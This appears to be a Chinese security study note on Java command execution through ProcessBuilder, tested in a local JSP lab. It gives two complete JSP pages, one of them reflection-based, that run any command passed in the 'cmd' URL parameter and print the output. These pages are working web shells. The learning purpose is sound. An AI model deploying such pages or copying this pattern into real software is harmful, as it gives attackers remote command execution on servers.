0x01 前言

在前面一章节学习了 java.lang.Runtime类 的 exec方法
知道了最终exec方法,会调用ProcessBuilder类来执行本地命令

因此我们直接查看 exec方法,然后对ProcessBuilder说
拿来把你

0x02 环境搭配

为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建

Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr

0x03 ProcessBuilder命令执行测试

  1. # webapp目录下面新建立一个文件: processBuilder.jsp
  2. # 文件名: processBuilder.jsp
  3. <%@ page import="java.io.InputStream" %>
  4. <%@ page import="java.io.ByteArrayOutputStream" %>
  5. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  6. <%
  7. // 漏洞触发点
  8. String cmd = request.getParameter("cmd");
  9. InputStream in = new ProcessBuilder(cmd).start().getInputStream();
  10. ByteArrayOutputStream results = new ByteArrayOutputStream();
  11. int l = -1;
  12. byte[] b = new byte[1024];
  13. while ((l = in.read(b)) != -1) {
  14. results.write(b, 0, l);
  15. }
  16. out.println(results);
  17. %>
  18. # 写好完毕以后启动项目
  19. # request.getParameter("cmd") 就是我们可控的地方
  20. # 表示url get请求的cmd参数
  1. 访问urlhttp://127.0.0.1:8081/mavenJspTest_war/processBuilder.jsp?cmd=whoami

命令执行效果如下:
image.png

0x04 ProcessBuilder命令执行-反射调用

  1. # webapp目录下面新建立一个文件: processBuilder2.jsp
  2. # 文件名: processBuilder2.jsp
  3. <%@ page import="java.lang.reflect.Constructor" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <%@ page import="java.io.InputStream" %>
  6. <%@ page import="java.io.ByteArrayOutputStream" %>
  7. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  8. <%
  9. // 漏洞触发点
  10. String c = request.getParameter("cmd");
  11. // 根据系统自动调用对应命令
  12. String[] cmd;
  13. String osName = System.getProperties().getProperty("os.name");
  14. if (osName.toLowerCase().contains("windows")) {
  15. cmd = new String[]{"cmd", "/c", c};
  16. } else {
  17. cmd = new String[]{"/bin/bash", "-c", c};
  18. }
  19. // 获取ProcessBuilder类对象
  20. Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");
  21. // 获取构造方法
  22. Constructor processBuilderConstructor = processBuilderClass.getConstructor(String[].class);
  23. // 创建ProcessBuilder类实例
  24. Object processBuilderInstance = processBuilderConstructor.newInstance(new Object[]{cmd});
  25. // 获取Runtime的exec(String cmd)方法
  26. Method processBuilderMethod = processBuilderClass.getMethod("start");
  27. // 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令
  28. Process p = (Process) processBuilderMethod.invoke(processBuilderInstance);
  29. // 获取命令执行结果
  30. InputStream in = p.getInputStream();
  31. ByteArrayOutputStream results = new ByteArrayOutputStream();
  32. byte[] b = new byte[1024];
  33. int l = -1;
  34. while ((l = in.read(b)) != -1) {
  35. results.write(b, 0, l);
  36. }
  37. out.print(results);
  38. %>
  1. 访问url:http://127.0.0.1:8081/mavenJspTest_war/processBuilder2.jsp?cmd=whoami%26whoami

image.png